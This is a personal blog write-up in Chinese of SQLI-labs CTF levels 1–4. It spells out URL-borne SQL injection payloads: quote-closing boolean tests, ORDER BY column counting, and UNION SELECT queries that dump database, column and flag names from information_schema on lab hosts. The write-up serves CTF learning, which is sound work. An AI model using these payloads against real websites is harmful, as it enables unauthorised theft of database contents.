SQLI-labs 个人心得
前言
本人在写CTF中SQLI-labs的例题时,刚开始一点思路也没有,很茫然,感觉无处下手,于是我就百度了一下,再加之在B站找了个视频看了看,通过视频与一些博客,总算是有了一点思路,本片博客主要是针对于本人自己学习中的一些心得进行总结,用于自用。
在做题时参考了这篇文章
https://blog.csdn.net/qq_41429081/article/details/101167892
SQLI-labs-less-1
刚开始先在URL中对于ID进行更改。
寻找注入点
构造payload
http://48cbd059-c54c-48fe-b4ec-2b1ea12aebab.node3.buuoj.cn/Less-1/?id=1'or '1'='1
页面显示正常
payload
http://48cbd059-c54c-48fe-b4ec-2b1ea12aebab.node3.buuoj.cn/Less-1/?id=1'and '1'='2
页面无数据
所以此处存在SQL注入漏洞
开始注入
因为前面测得具有回显,所以采取union联合查询
1.查找列数
http://48cbd059-c54c-48fe-b4ec-2b1ea12aebab.node3.buuoj.cn/Less-1/?id=1' order by 3 --+
–+主要用于注释掉SQL语句后面的内容,该题所查出的列数为3列。
2.查询数据库
http://48cbd059-c54c-48fe-b4ec-2b1ea12aebab.node3.buuoj.cn/Less-1/?id=-1' union select 1,1,(SELECT GROUP_CONCAT(schema_name) FROM information_schema.schemata)'
结果如下:
id传入一个数据库中没有的值即可,因为如果是数据库中存在的值,即会返回多条记录,会显示前一个找到的值,而我们想要的将无法显示。同时使用GROUP_CONCAT将查询到的数据库名拼接显示
3.查表中字段
http://a34dda74-400a-49ee-b839-d7e83a46b079.node3.buuoj.cn/Less-1/?id=-1' union select 1,1,(SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name = 'flag')'
结果如下:
4.查数据取得FALG
http://a34dda74-400a-49ee-b839-d7e83a46b079.node3.buuoj.cn/Less-1/?id=-1' union select 1,1,(SELECT GROUP_CONCAT(flag) FROM ctftraining.flag)'
结果如下:
取到了FLAG!
SQLI-labs-less-2-4
其实在做完了前四道题之后我发现,前四道题都是同一个套路,只需要走一遍流程就可以了,没有太大的区别!
主要就是先用ID=1来进行判断数据是否显示,然后通过or或者and式子判断是否有SQL注入漏洞,然后开始联合查询就可。
只不过依次检测是单引号闭合或者是双引号或者括号的闭合问题!
四个查询语句
1.查库:select schema_name from information_schema.schemata
2.查表:select table_name from information_schema.tables where table_schema='security'
3.查列:select column_name from information_schema.columns where table_name='users'
4.查字段:select username,password from security.user